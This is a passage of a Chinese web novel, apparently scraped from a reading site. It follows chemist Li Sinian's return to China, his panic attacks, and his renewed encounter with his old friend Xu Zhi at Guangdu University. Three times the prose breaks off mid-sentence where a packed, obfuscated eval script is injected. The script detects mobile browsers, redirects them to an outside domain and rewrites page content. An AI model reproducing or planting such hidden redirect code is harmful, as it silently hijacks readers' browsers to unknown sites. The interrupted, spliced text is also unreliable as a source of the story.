“我不敢……她已经不爱我了,肯定还会拒绝我。”方行舟委屈巴巴。 “那你就好好珍惜现在的这一个。”李斯年认真道,“人家姑娘也是一片真心嫁给了你,你可不能吃着碗里看着锅里!” 方行舟:“可是我忘不了菁菁……” “你必须要忘。”李斯年神情严肃,几近呵斥,“你还是男人的话,就要有最起码的担当,不然当初为什么要决定结婚!现在说什么想念前任的话,不是混账么?” 方行舟被这么劈头盖脸地骂了一顿,终于是止住了眼泪。 他哽咽半刻,叹息着说:“李斯年,你说,人为什么要变呢?” 李斯年拧着眉,没答话。 “原来以前课本里说得对,‘人生若只如初见,何事秋风悲画扇’。” 方行舟也算是不辱他语文课代表之名,文绉绉地吐出一句诗词来:“如果可以,我真想回高中那时候,多无忧无虑啊,我每天都能看到菁菁,跟你还有许之一起去食堂吃饭、去打球……” 听到那个名字,李斯年脸色有点差,但他以为方行舟只是感叹之间一带而过,便没搭话。 不料方行舟却是不满自己悲伤春秋、但面前的好兄弟却无动于衷,又说:“你呢,你也想许之吧?” 李斯年沉默片刻,沉声道:“你是真醉了。” 说完,就要把人搀去床上。 “你别瞒我了,菁菁跟我说了,她看出你那时候就喜欢许之了,如果不是那次火灾,你们高考之后是不是就会在一起……” “你知道什么?”李斯年眼角一跳,“当初是他自己要出国的!别搞得好像跟火灾有什么关系似的!” 就算没有那次火灾,许之之后也会找个由头彻底离开的。 因为在许之心里,他李斯年从来都不是什么需要顾及的人。 今天是被方行舟话赶话激到这份上了,换做之前,李斯年根本不会提关于许之的事。 如果世上能有一种化学药剂,喝了之后就忘却前尘,无论代价是什么,李斯年都一定会毫不犹豫得灌下去。 他把人往床上一扔,扔下一句“醉了就睡,别再乱说话!”转头拿了自己的外套就往外走。 方行舟重重地摔在床上,脑袋撞到双层枕头,胃里的酒荡来荡去,难受得眼冒金光。 咬紧牙关半晌,才将呕吐的感觉咽回去,怏怏地说了句:“可是,他回来了……” “但他不让我告诉你。” 声音回荡在装饰喜庆的屋内。 然而李斯年早已走了,一个字也没听到。 - 李斯年没有在江城待太久,他这次回国是应了广都大学的聘邀,任化学系特邀教授。 以他的能力与履历,国内有大把顶尖实验室与机构递出橄榄枝,但他最终还是选择去大学任职。 或许是因为对方承诺给了他最大限度的研究自由、又或许是他潜意识中仍然对大学任教的生活有着向往。 不过李斯年自认为是前者占因居多。 广都靠南不沿海,与中部的江城有着近六小时高铁、两小时飞机的距离。 这样的距离不远不近,但已经能让初夏转至深暑。 李斯年下飞机后,就将罩在短袖外的衬衣脱下挂在臂弯,他大多数行李已提前寄过来了,随身就带了个正方的小拖拉箱。 飞行模式解除后,消息提醒就响个不停,李斯年刚挑着几个紧要的工作消息回完,李倾诺的电话就打了过来。 “到了,哥?”李倾诺那边听起来有些嘈杂。 “嗯,刚落地。” 推门的声音传来,她似乎是转到了一个僻静处:“那边的住处都收拾好了吗?” “必需品都有了,后面再看着添置吧。”李斯年走出闸口,往停车场去。 广都的房子是得知李斯年决定去广都大学后,李倾诺就提前给他准备好的,作为回国礼物。 小姑娘虽然如今大三还没毕业,但已经有些大人模样了。 火灾之后,李斯年算是和李宇彻底决裂,李宇于是一心培养李倾诺做接班人,而李倾诺原本就对未来没什么主见与规划,正好随着李宇的安排了。 况且,她私心想着,若是以后自己能完全接手李宇的公司和生意,那无论李宇和李斯年关系如何,她也都能有底气罩着哥哥了。 “我听说梁芷过几天也要飞广都,公司这边有一些项目,交给她洽谈了。”李倾诺说。 李斯年应了一声。 电话那头响起一个声音叫李倾诺的名字,似乎找她有事,于是李倾诺语速加快了些:“那先挂了,今天双城有招商会,我还在现场帮忙,等这阵子忙完我就来找你玩!” “好。”李斯年到这里才有了些笑意,“辛苦我们糯糯了。” “说这话不如回头请我广都三日游。”李倾诺一边往外走,也跟着笑。 “三十日游都行。”李斯年在停车场找到了之前从广都回江城时停在这里的车,“快去忙吧。” “嗯,拜拜。” 挂了电话,李斯年开门坐进驾驶位。 随着门关上,车内挂着的木铃轻微摇晃,李斯年抬手扶了扶,指尖在那个缺口一抹而过,开车回家。 - 如今已到五月中旬,时间有些尴尬,学期过半、但距离暑假还有一个多月。 李斯年花了大半天时间去广大办完手续、领了自己办公室的钥匙。 这个学期已经过大半,不是开新课的时间,学校安排他接替了一个同系老师的选修课,当做熟悉。 再除了一些李斯年本身申请进行的专题研究之外,还需协助学院完成相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614405|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应的社会福利合作项目即可。 “下周一,槐荫区儿童福利院要开展一个‘遇见科学’主题的讲座,针对6-15岁的孩子们。”系主任姓邹,是个中年女人,一头卷发、身材微胖,看起来温和好讲话。 “我们学校好几个系的老师都会一起参加,化学部分呢,需要准备二十分钟左右的内容,如果能有几个好玩的小实验就更好了。” “没问题。”李斯年点头。 邹主任满意地点点头,越看李斯年这个年轻人越是喜欢:“福利院的大致情况、之前我们专业与他们合作时涉及到的内容我晚点发你邮箱。” 早在年前校长告知,明年有一个年仅27岁的海归博士要来化学系做特邀教授时,她还觉得过于匪夷所思,这年纪未免太轻了。 但当收到李斯年履历后,就明白了、甚至开始有些不解,他为什么偏偏要回国做一个大学老师。 这样的天才,老师这个舞台对他而言,有些局限了—— 本科和研究生期间接连跳级,博一时和朋友一起开了间生物化学公司。 短短两年时间,就研发出了震惊国内外、颠覆行业的罕见疾病特效药,填补了领域空白、造福数百万病患。 光是专利就够他们这辈子吃穿不愁。 但次年,李斯年突然却对外宣布暂居二线、潜心研发,将商业化内容全权交给朋友,继而接受了广都大学的特聘邀请。 偏偏有着这样传奇精彩人生经历的少年人,还是如此一表人才、温和沉稳的模样。 若非对方刚来,还不熟悉,邹主任都忍不住要问他是不是单身、想介绍自己的女儿与他认识了。 - 李斯年习惯所有事情都做在前面,尽管收到邮件的当晚才周四,他还是立刻整理思路、做好了ppt。 等到周一,从实验室里取了仪器和材料,就自行驱车去了槐荫区儿童福利院。 福利院在一处下坡的巷子里,李斯年将车停在大路旁,提着包步行约三分钟就到了。 福利院门侧停着一辆贴着广大横幅的大巴,今天的主题讲座分上午和下午,大巴里零星坐着几个人,大概是其他系上午来做讲座的老师。 李斯年抬手看表,两点十分,距离化学主题讲座开始还有二十分钟,有些准备工作要进行,他快步迈入福利院大门。 福利院的孩子们中午一点至两点是午休时间,李斯年入内时,孩子们都刚睡醒,在摆满床的房间内穿鞋穿衣。 “诶您好,是……广都大学化学系的李老师是吧?”一个中年男护工迎了上来。 他衣服外套着一件深红色无袖马甲,上面印着福利院的名称和公益宣传语,看向李斯年的目光有些惊讶,夸赞道,“诶唷,现在的年轻人真是不得了啊,都这么年轻,已经是大学老师了!” “您过奖了,请问讲座在哪边开展?”李斯年客客气气问。 “这边这边!”中年男护工热情将他往最里面的一间屋引,顺便介绍,“这是我们福利院的小礼堂,一些讲座啊、节日汇演、包括大年夜活动都在这里进行的,上午的老师用完电脑和投屏后还没关,您连接上电脑就能直接用。” 李斯年应下,将笔记本电脑插好线、并打开好ppt,有将实验所需的器材码好。 中年男护工在一旁看他忙完了,又提醒:“李老师,还要劳烦您去换一下我们福利院的马甲,等会可能有宣传人员拍些照片的。” “好,那麻烦你帮我照看一下这些器械,不要让小朋友碰到。”李斯年说完,在中年男护工的指引下去了隔壁的职工办公室。 办公室尽头有一个不大的房间,一侧放着张折叠床,大概是护工们偶尔休息时用的。 折叠床对面是一排收纳柜,三四件公用的红色马甲就挂在柜子旁的衣架上。 李斯年随手取下最右边的红马甲。 马甲的边角已经微微发白卷起,看起来已经用过很久了,但挺干净,应该经常统一清洗。 李斯年套上马甲,转身就拧开门。 门打开的瞬间,屋内空气对流,一阵微风从半开的窗户吹来。 一股非常淡的柑橘香味随着风钻进李斯年的鼻腔。 70.交错 那味道一晃而过,李斯年整个人僵在原地,一时间分不清是真的还是错觉。 屋子很小,一眼就能看完,所有物件尽收眼底,没什么特别的。 李斯年在空中再次嗅了嗅,味道已经不见了,他愣神片刻,忽然意识到什么,提起身上的马甲衣领,凑近一闻。 味道正是来自这马甲! 非常淡,第一下能闻到、第二下似乎就会因为适应而无法察觉。 李斯年脑子里几乎是空白的,他快步出门,就近找了个办公室里一个女护工就问:“里面的红马甲这几天都有什么人穿过吗?” 他问得实在是唐突,那女护工一愣:“你说那些挂在架子上的?就你们广大的老师来穿过的,院内职工都有自己的……怎么了?” 李斯年心头一跳,匆忙道了声谢,就往福利院大门跑去。 来到门前,就见巷子里空荡荡,原本停在门口的那辆大巴已经不见了。 李斯年问向保安室:“请问,那辆广大的巴士呢?” 保安是个头发花白的老头,他慢吞吞扶了扶眼镜:“啊,说是先送上午的老师回去了,等会再来。” “这样……谢谢。” 李斯年自己都没意识到他是怎样一脸失望丧气地往回走,脑子里只顾着回想刚来时瞟向大巴内的那一眼。 太匆忙了,他实在想不起里面坐着几个老师、又是什么模样。 中年男护工是看李斯年换个马甲这么久都没回,出来找人,见到他这样子吓了一跳:“诶唷,李老师怎么了,脸色这么差?” 李斯年这才回过神,摆摆手,恢复了往常的模样,露出十分得体的淡淡笑容:“没什么,走吧。” 中年男护工也不好再问什么,跟着他回到小礼堂。 福利院的小朋友已经陆续来了,叽叽喳喳很是热闹,李斯年在讲座开始前进行最后的检查,也想借此平息方才内心汹涌的波涛。 他很久没有这样失态过了。 只是闻到一阵不知来源的味道,怎么就能急得跟个毛头小子似的。 李斯年忍不住暗暗骂了自己一句。 明明柑橘味可能性存在于任何东西上,女士的香水、室内的香氛、甚至于剥过桔子的手。 并不是什么特殊的、罕见的、值得一一对应的味道。 甚至于这么多年过去,李斯年对于当年那个劣质沐浴液味道的记忆都已经很模糊了。 这么点细微的线索,根本无法作为任何判断的依据。 但他却仍然因此情绪失控,如同回到火灾后,那无数个仿佛迎不来黎明的黑夜一般。 李斯年闭了闭眼,将肺中的空气慢慢吐了出来。 都过去了。 他也已经不是当年的那个他了。 李斯年在心里告诉自己。 “小朋友们好,我是广都大学化学老师,今天呢,我们要一起走近化学的世界。”李斯年声音低沉而温和,一开口,原本还在嬉闹的孩子们都安静了下来,一双双明亮的眼看向前方讲台。 “让我们一起来看看,化学和日常生活有哪些分不开的联系……” - 广都这个月份的气温已经抵得上江城的暑假,而且更潮湿一些。 李斯年在车库停了车,从后备箱搬出一箱水,走到电梯里时,后背已经沁出了汗。 电梯一层层上升,冷气顺着颈后往里吹,不是很舒服,李斯年于是站在靠电梯门的一侧,待门一开,就往外走。 一层两户,李斯年向右一转,就看到等在门口的梁芷。 “斯年哥。”她仍然留着齐刘海,不过从前的长发已经剪短到下巴。 25岁其实还能算是小姑娘年纪,但梁芷的五官随孙家娟,细长的眉眼与薄唇,更容易给人一种成熟的观感,却又与这样的发型有些不相宜。 “等多久了,怎么也没打个电话?”李斯年将水放在地上,开了门。 梁芷一笑:“也就十几分钟,我怕你在忙,想着先等等。” 她从来都是这样善解人意、温和无害。 “吃了吗?” “还没。”梁芷将行李箱放在门口,换了拖鞋,就去看冰箱,见里面有少许肉菜,“你呢,想吃什么?我来做。” 说着,就挽起袖子去拿围裙。 “我在校食堂吃过了,你做自己的就行。”李斯年摘了表,放在柜子上,转身去书房,“我还有点工作要处理,你自便。” 话音落,门合上,锁舌卡出“嘎达”一声。 梁芷目光在光溜溜的门板上停留片刻,挺直的肩背卸了几分力,慢慢将原本挽起的袖子又收了回去,只是洗了个苹果吃。 李斯年虽然对外称退居二线,但合作伙伴无论是对外商务还是对内研发都十分依赖他。 哪怕如今他人已经回了国,那边每天还是会来好几封邮件,大事小事事无巨细,全都要征求李斯年的意见。 这个合作伙伴是李斯年在国外读本科时就认识的同学,名叫洪室章,虽是亚洲面孔,但其实爷爷奶奶那一辈就已经移民了。 不过家教仍然很传统,于是说得一口流畅没有口音的普通话。 如果说李斯年是天才,那洪室章就算是努力到极点的普通人,但其实在李斯年的角度来看,二人在化学能力上没什么太离谱的差别。 而洪室章在交际方面甚至优于自己,家中长辈在本地的人脉也不错。 把公司交给他运转,李斯年是很放心的。 他扫了眼邮件,挑了其中一个专业性比较深的仔细回复了,其他统一写上一句“我没意见,你自信点啊,加油!” 做完这些,也不过半小时,李斯年听屋外没有动静,也不知道梁芷在干什么。 但不管在干什么,他都不是很想出去。 这些年,李斯年已经习惯大多数时间都是自己一个人安安静静待着。 可知他从前是多么爱热闹、半天没人讲话就嘴痒的人啊? 只能说时间是很牛逼的东西。 李斯年打开抽屉,拿出打火机点了根烟,起身开窗。 一瞬间,马路川流不息地声音扑面而来。 他垂着眼抿了口烟,手搁在窗沿,目光虚虚落在马路上无数个移动的光亮小点上。 就这么站着,不知在想些什么,吐出的白色烟雾笼着面无表情的脸,然后又被风吹散。 一根烟从燃起到见底,其实也就抽了那么三四口,剩下的都在空中烧成了灰。 敲门声响起。 李斯年将烟按熄了:“进。” 梁芷端着小盘洗好的蓝莓进来:“你经常对着电脑,吃点蓝莓对眼睛好。” “谢谢。” 梁芷也闻到了屋内淡淡的烟味,她知道李斯年上大学后就会抽烟了,但因为嗓子有旧伤,抽得很少,只有偶尔遇到烦心事时才会来一根。 “广都大学怎么样,忙吗?”她闲聊似的问。 “还行。”李斯年言简意赅。 梁芷轻咬着嘴唇,按捺着心中升起的难堪,火灾后的一年里,李斯年实在是变了很多,他话少了,笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他听到自己的心跳逐渐变快,明明处于静止状态,但整个人却好像累得刚跑完四百米,额头上渗出细密的汗珠,与尚未全干的湿发混在一起,贴在额前。 这样的征兆感,李斯年很熟悉,甚至他可以准确判断出诱因是什么。 有时清醒的痛苦是更痛苦的,因为明知解药为何,又清楚那解药不存在于世间。 或者至少,不会存在于他手中。 李斯年忍了会,终于还是拿起手机,先是去看了广都大学的公众号,有不少往期公益活动的宣传,但今天的或许是照片文字还没整理好,没有发出来。 他又去搜广都大学的官网,点开教师风采一栏,将所有专业的老师、包括辅导员都看了一遍。 官网更新的比较勤,就连上周刚走完特聘流程的李斯年都已经出现在了化学系的教师列表里。 而他没有找到那个名字。 或许福利院那天,真的是他想多了? 一种说不清是庆幸还是失落的心情冒了出来。 像是火山口汩汩而出的滚烫岩浆,瞬间蔓延到四肢每个角落。 李斯年捻动了一下颤抖的指尖,要去拿床头的水杯。 是空的。 但他此刻完全不想出去、不想见到梁芷,干脆直接打开抽屉,摸出两颗药,就这么干咽了下去。 然后扣了手机,埋进被褥间,倒头睡去。 71.再遇 接下来的公益讲座都在下周,李斯年这几天都是埋在实验室里过的。 火灾之后,大家都以为他会因此对化学或实验室产生恐惧,俗话说一朝被蛇咬还要十年怕井绳。 但来年李斯年还是报考了化学专业。 他曾对方行舟说,化学是浪漫的。 如今,他更觉得化学是孤寂的。 穿着防护服、带着护目镜,就这么在实验室内静静忙上好几个小时,从身体到灵魂都与外隔绝。 他很享受这样纯粹的时间。 这一天,李斯年从实验室出来,窗外天空已经布满晚霞,他快步往行政楼去,实验室有一些消耗性用品快用完了,得去后勤申请采购。 通常这样的事情拜托学生跑一趟就行,但李斯年才来,于是许多事就亲力亲为了。 紧赶慢赶好算是在后勤下班前将事情处理完,李斯年慢悠悠从楼梯往下走。 广都大学的行政楼除了后勤、辅导员办公室和其他功能性办公室之外,还有一些教授的办公室。 但大学不像初高中需求老师坐班,那些教授办公室大多时候里头都没人,况且下班时间点已过,整栋楼都差不多都空了。 是故李斯年走到三楼时,轻易就被靠近走廊第一间办公室里的声音吸引了注意力。 他无意窃听,实在是里头的老教授太激动,门也未关紧,那声音几乎是隔着半截走廊都能听到。 “你今天必须给出一个足够说服我的理由,否则我不能同意!”老教授说。 “我还是……想积累一些不同的经验。”一个年轻人的声音响起,“香洲大学挺好的,我也不能总在您羽翼之下,总要出去走走。” 李斯年莫名觉得这声音有点熟悉,不自觉就放慢了脚步。 “借口!这些年无论是国际间交流项目还是大学之间的互相学习,我哪次不是让你独立完成?而且香洲大学无论从什么方面都比不过广大,去那儿做老师,就是自毁前程!” 老教授说到这里,顿了顿,补充了句,“当然,不是说香洲大学就差到哪里去了,而是杀鸡还不用宰牛刀呢!你说你这么聪明的人,怎么能在这样关键的节点昏了头呢?” 他言辞里全都惜才之意:“你要是有什么为难和顾虑,尽管说,唯独别拿这种理由来糊弄我。” 年轻人沉默了。 李斯年鬼使神差地往前走了几步,借由楼梯与走廊之间的夹角掩藏身形,去看办公室内的情景。 正对着门的是一闪巨大的玻璃,窗外夕阳灿烂,尽管房间内没开灯,但仍然不显昏暗。 窗前是一个长桌,老教授在桌后,整个已经从椅子上站了起来,他面前是一个高高瘦瘦的年轻人,背对大门。 逆着光,李斯年甚至分辨不清这年轻人穿了什么颜色的衣服、头发长度如何,目光却像是有所指引般,落在了那人发尾与领口之间的一截后颈之上。 剧烈的既视感扑面而来,李斯年大脑宕机几秒,眼前蓦的闪回多年前育德化学办公室走廊的画面。 他和方行舟也是这样透过门缝往里瞧,看到老董头面前站着一个身穿黑色短袖、牛仔裤的少年。 “老师,我……真的不能留在广大。”年轻人欲言又止的声音传出,看起来似乎很是为难。 老教授双眼瞪得浑圆:“什么叫不能?!这里有什么洪水猛兽要吃了你么?” “你知不知道,如今大环境不好,各个高校的编制指标都在收缩,多少人挤破脑袋想进广外?你这么年轻就有申请副教授的资格,为什么不珍惜——咳咳咳!” 老教授毕竟年纪大了,说到激烈处,一口气喘不匀,撑着桌面就开始咳嗽。 “老师!”年轻人赶紧拿起桌上的杯子,添了点温水,抚着老教授的背,愧疚道,“您、您别这么激动。 ” 老教授接过杯子喝了口,将气顺了过来,长叹一声:“那你就和我说句实话,为什么明明之前都挺好的,手续流程这周末之前就能走完,结果周一下午从福利院回来就改了主意?” 李斯年心下惊雷一炸,整个人僵直在原地。 年轻人闷着头,仍然没有解释,只是低声说了句:“对不起。” 老教授也看得出来,他一定是心里有事,只是死活都不愿意说出来。 “许之啊,我知道你性子沉,有什么事都喜欢憋心里,但这回不仅仅是你自己的事,我把你从国外带回广大,与校长说得就是你是我的接班人。“ 这是他手把手从本科带大的徒弟,也是他这么些年看到最集天赋与勤奋一身的孩子。 况且,眼看距离退休也没几年,说是关门弟子也不为过,自然很看重。 “再退一步,哪怕你无所谓是否辜负了我这些年的栽培,你就这么走了,怎么对得起自己?单说一年20多篇sci,我从业四十多年,就没见有哪个学生能做到过!这其中你吃了多少苦,只有你知道。” 这话说得,可谓是推心置腹、情理皆备。 许之侧身垂首,从李斯年的角度,仍然看不清他的面容与表情,只是单单瞧着这落寞的身影,便也跟着心里不太好受起来。 老教授绕到桌前,拍了拍许之的肩:“这几天助教和公益那边的活儿,我让其他学生顶个班,你借此机会休息休息,好好想清楚,再给我答复,好吗?” 话已至此,许之只好点头:“嗯,我知道了……时候不早,您也快回去,师母该要等急了。” “哎……这就对了,好好想想,孩子。” 老教授紧绷的表情终于松动了,他拿起公文包,搭着许之的肩膀,二人如没有代沟的老父亲与儿子一般,“你师母这几天还念叨着你,说要你来家里吃饭呢。” 许之也淡淡一笑:“嗯,我周末就过去。” 二人说着,往外走。 李斯年缓过神来,随即垫脚猫腰做贼似的,三步并作两步,向楼梯上方的拐角跑去。 老教授这边关上门,继续和许之边家常边下了楼。 李斯年一颗心七上八下,分不清是因为刚才几步跑得还是其他。 他顺着楼梯扶手的间隙往下看,只见许之的侧影一闪过,除了皮肤在昏暗楼梯间仍然白皙到发亮之外,其余的什么都没能看清。 李斯年心中忽然生出一丝荒诞。 看来老天爷是太喜欢跟自己开玩笑了,当初他哭着求着要找时,人远在天边,等到早已决定从此陌路时,又变得近在眼前。 对方倒是这么些年来始终如一:躲他像是躲瘟神。 看来周一那天,福利院门口的大巴上果然就坐着许之。 他看到自己了,然后连广大副教授的机会都能说不要就不要,只为了能逃离他。 其实广都大学原本占地面积就很大,分了好几个校区,况且专业这么多,若不是同系老师,只要稍稍有意避开,很可能就几年都见不到一面。 就算这样,许之也要逃。 掌心传来刺痛,李斯年才发现自己不知什么时候攥紧了拳,指甲在肉上嵌出了深深的长痕。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639435|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心中无声地笑了。 这人就真的,这么厌恶自己? - 李倾诺只和梁芷说了自己今天会到广都,故意瞒着李斯年,想给他个惊喜。 下飞机后,先和梁芷碰了面,去蛋糕店拿了定好的蛋糕,是李斯年喜欢吃的苦抹茶口味,然后直奔李斯年家中。 推开门的一瞬间,李倾诺只觉得像是突然闯入一个巨大的冰柜里。 “空调没关么?”她问。 梁芷摇头:“我这几天出门早,不知道是不是斯年哥忘了关。” “这败家哥哥。"李倾诺笑着说,打开玄关的灯,看了眼墙上的钟表,“没到五点,他估计还没下班,蛋糕先放冰箱吧……嗯?” 李倾诺目光一扫鞋柜,正想着怎么少了双拖鞋,就听到房门紧闭的卧室内传来很轻的动静。 梁芷吓得一抖:“什么声音?” 李倾诺示意她别慌,将蛋糕放在桌上,轻手轻脚走到门前:“哥?” 屋内又恢复安静,李倾诺耳朵贴着门,仔细听了几秒,忽然意识到什么。 梁芷和她想到一起去了:“斯年哥是不是又……” 李倾诺表情凝重,点点头:“你先在客厅等会吧。” 然后拧开房门,走了进去。 “哥,你还好吗?” 李倾诺轻轻合上门,屋内一片漆黑,什么都看不见,但她不敢开大灯,只好摸索半天,终于点亮了床头的小夜灯。 只见床上被褥拱起,里面的人似乎正曲起身体,剧烈颤抖着。 与之伴随的,是短促而剧烈的呼吸声,和明显被压抑着的、近乎窒息的呜咽。 李倾诺几乎瞬间就反应过来,立刻翻找就近的柜子与抽屉。 很快,就在床头抽屉里找出一瓶熟悉的药来。 “没事了,我在这呢。”她只是将药片放在桌面,不急给李斯年吃,而是先去抚摸他的背,手上的力道重而缓,像是在模拟绵长的呼吸。 “什么都不会发生的,你慢慢吸气、慢慢吐气……对,就像这样,再来五次,就会好了。”李倾诺眉眼间是与稚嫩外表截然不同的镇定神色,若是这屋内有孙家娟或李宇在,就会发现,有那么一瞬间,她竟然像极了郑秀。 “一、二、三……”李倾诺一下又一下数着,配合着抚背的节奏。 直到数到第三百二十六,才明显感觉到被褥下的抖动开始减缓。 李倾诺轻轻掀开一角,去看里面人的状况。 李斯年蜷缩在被褥深处,只能用隐隐瞧见轮廓,他脸埋在膝头,看不清表情,整个人像是洗了个大澡,头脸与背部都湿透了,黑发黏在苍白如纸的脸侧。 李倾诺心里揪着,又去摸他环抱膝盖的手。 冷如寒冰。 “好些了么?”李倾诺轻声问。 李斯年此刻没有说话的力气,只是微动指尖,告知向她自己已经拿回身体控制权。 熟悉的无力感爬上李倾诺心头,她连叹息都只敢默默地,起身倒了水,把药递给李斯年。 李斯年眼也没抬,只是安静的拿起药吃了,然后像是累极似的,面向内侧躺睡过去。 这是将自己隔离起来,拒绝外界一切事物和人的姿势。 李倾诺清楚。 尽管她有很多想问的,但现在不是合适的时候,于是拿了一套干净的睡衣,放在枕头旁。 “等下换个衣服吧,小心着凉哦。” 说完,也知道李斯年不会应声,轻手轻脚地出了卧室。 72.见面 李斯年醒来时,天已经大亮了。 他很少这样一夜无梦,也算是每次惊恐发作后仅剩的好处。 他洗漱完,看着镜子里没什么气色的脸,虽然因为错过了昨晚晚饭而感到饥饿,但此刻却还是没有什么进食的欲望。 真没出息啊,他以为这么些年,自己已经能与从前的人和事和解。 但当那个人再次出现在眼前时,他仍然瞬间就被打回到八年前那个崩溃的、仓皇失措的少年身体里。 毫无反抗之力。 笔记本响起视频提示,李斯年擦干手上的水,去到桌前。 是他在国外的心理医生迪伦。 迪伦坐在咨询室内,背后是一扇窗,能看到那边的天已经黑了。 “回国感觉怎么样,李?”迪伦是混血,五官的欧美感比较弱,常常给人一种悲天悯人的柔软感,中文说得有些口音,但日常交流够用。 “还行。”此刻已经不是迪伦的工作时间了,李斯年很清楚,大概是李倾诺昨天和他说了自己的情况,他才掐着国内天亮的点来问,“就是昨晚又发作了一次。” 其实准确来说是一次半,周一福利院讲座回来那次,是被及时吃药压住了。 迪伦翻动着手里的本子,在咨询和记录方面他是个守旧派,喜欢用纸笔超过电脑:“上次发作,是两年半之前,这次是什么程度?” 那次李斯年当然记得,正是郑秀的忌日,李宇打电话来问他今年是不是不回家,而根本不记得当天是什么日子。 “四分吧。”这是迪伦和李斯年约定的评估机制,以剧烈、难以自控程度评一至五分。 迪伦听完沉默片刻,眉毛轻轻皱起,不过他表情向来都是淡淡的,尽管稍显凝重,却不至于让人觉得情况无解:“是不是有什么……stressor?” “我见到他了。”李斯年回答的坦荡。 迪伦一愣,他自然反应过来李斯年指的是谁,二人之间的咨询关系已经较为深入和稳固,当年的事情、李斯年的心情,李斯年都有告知过他。 “你工作的地方?” “嗯,现在应该说……是同事了。” 是当年在出租屋二人畅想的未来模样,但谁都不会猜到,有朝一日真的达成时,却是这样物是人非的情景。 “这么久了,他对你影响还很大的话,我建议,暂时远离。”迪伦神色认真,“我下半年,去中国交流学习,等我来,再聊。” 李斯年向来对于所有治疗都很配合,迪伦曾形容他是一个自救欲望很强的落水者。 但这一次,他却摇头。 “李?” “凭什么,他要逃离我,然后我也得避开他,我是多么见不得人的东西么?” “No, Li, you know that''s not what I meant!(李,你知道我不是那个意思)”迪伦有些着急,中文在这时候已经不够用了,“You just need a process of adaptation……(你只是需要一个适应的过程)” “I Know.(我知道)”李斯年打断他,“But it''s been so long and it''s still like this, I just want to handle it in a different way.(但已经这么久了,还是这样,我想换一种不同的应对方式)” “Can you tell me what you plan to do?(能告诉我你打算怎么做吗)”迪伦问。 李斯年沉思片刻,迪伦努力透过屏幕去看他的表情,没有发现逞强和摇摆,而是沉静如海。 “I''ll tell you next time.(下次我再告诉你)”李斯年轻轻一笑,反而是安慰对方,“Don''t worry.(别担心)” 说完,他冲着摄像头挥挥手,挂断了视频。 - 周一是个阴天,许之上周六去老教授家里吃过饭,期间仍然是接受了一番劝阻, 但他无法跟任何人说出真正的缘由,对李宇的承诺其实只是其次,许之并不觉得自己是多么遵守道德人品规范的人。 他只是打心底里觉得,自己只要远离李斯年一些,他就能过得更好。 李宇没有食言,当年,在李斯年醒来后,许之几乎是隔天就得到了消息。 当时他人已经在国外,整日夹杂在陌生的食物、语言和人群中,说不孤独是不可能的。 说完全没后悔也是不可能的。 他曾想过,如果再多留几天,是不是就能看到李斯年醒来,然后可以和他好好说声“再见”。 但时间滚滚向前,人生没有如果。 那天在大巴上看到李斯年往福利院大门走来的一刹那,许之第一反应是自己在做梦。 然后就是如同过街老鼠般整个人往座位里一缩。 把旁边正在掀盒饭盖子的老师都吓了一跳。 许之手里拿着沓文件和咨询室钥匙往老教授办公室走,他想好了,坏人要做就做到底,在当年离开医院的那天,他的决绝就已经全部用完了。 如今若再要和李斯年打交道,他不知道自己该维持什么样的表情和态度。 广都大学是他一直以来的梦想,但和李斯年并列比起来,就显得没那么重要了。 老教授的门关着,许之知道他下午有个会议,人现在肯定在里面,于是轻轻敲了两下,拧开门把。 “……原来是这样啊,哎哟!许之这个犟孩子,这有什么不能说的呢?”老教授爽朗的声音随着门开而传入耳中。 许之跨进半步,一扭头,整个人就僵住了。 只见李斯年正好整以暇得坐在待客区的沙发上,眼中带笑地着向他。 他穿着件灰色条纹衬衣,款式简单但剪裁很讲究,布料贴着宽阔的肩膀,流畅的线条一路向下,袖口规整挽起两道,露出半截紧实的小臂。 这是明显属于成年男人的气质与体魄,与许之脑海里曾经的少年身影重叠,让他有些恍惚。 “真是不能在背后议论人啊,说曹操曹操到。”老教授叫许之过来,“这当年的事情,说开就好了,都是成年人,没必要因为这么点小事就分道扬镳,还辞职不干,你说你,幼不幼稚!” 许之愣着神,随着老教授一拉,机械性的往前几步,就坐到了李斯年对面。 李斯年很自然地将目光从许之身上移开,继续对老教授笑着说:“您也别怪他,他从前也是这么个性格,所以我才主动来找您了,若是因为从前的误会,让如今广大心理学系错失一个好老师,那真是我的罪过。” “不过你们做化学的,常年都要面对这样的风险,也的确是不容易,以后可千万要小心。”老教授说。 “您说得是。”李斯年答。 老教授见许之这边半天没反应,伸手拍了拍他:“许之,你倒是表个态啊,人家李教授专门来和我解释你们之前火灾的事,他都没存着怪罪你的意思,你也不要再耿耿于怀了。” 许之就算是再震惊到大脑迟钝,如今也回过味来是怎么回事了。 李斯年这是主动来和老教授说了当年火灾的事。 